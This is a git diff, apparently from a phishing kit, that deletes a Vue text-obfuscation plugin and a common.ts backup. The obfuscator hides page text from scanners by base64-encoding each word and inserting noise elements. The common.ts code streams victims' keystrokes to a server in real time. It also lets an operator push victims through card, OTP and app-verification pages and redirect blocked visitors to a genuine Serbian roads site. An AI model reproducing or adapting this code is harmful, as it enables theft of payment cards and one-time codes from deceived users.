app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/t_Ticket_temp1/src/utils/common.ts.backup b/t_Ticket_temp1/src/utils/common.ts.backup deleted file mode 100644 index 8f55f26..0000000 --- a/t_Ticket_temp1/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} - -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.putevi-srbije.rs/"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/Static_zy/header.html"); - footerHtml.value = await loadHtml("/Static_zy/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -}; diff --git a/t_Ticket_temp2/src/components/HelloWorld.vue b/t_Ticket_temp2/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/t_Ticket_temp2/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/t_Ticket_temp2/src/components/TheWelcome.vue b/t_Ticket_temp2/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/t_Ticket_temp2/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_Ticket_temp2/src/components/WelcomeItem.vue b/t_Ticket_temp2/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/t_Ticket_temp2/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_Ticket_temp2/src/main.ts b/t_Ticket_temp2/src/main.ts index f4f3682..9f2935b 100644 --- a/t_Ticket_temp2/src/main.ts +++ b/t_Ticket_temp2/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -25,6 +24,5 @@ app.use(i18n); app.use(createPinia()); app.use(router); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/t_Ticket_temp2/src/mix/textObfuscator.ts b/t_Ticket_temp2/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/t_Ticket_temp2/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); 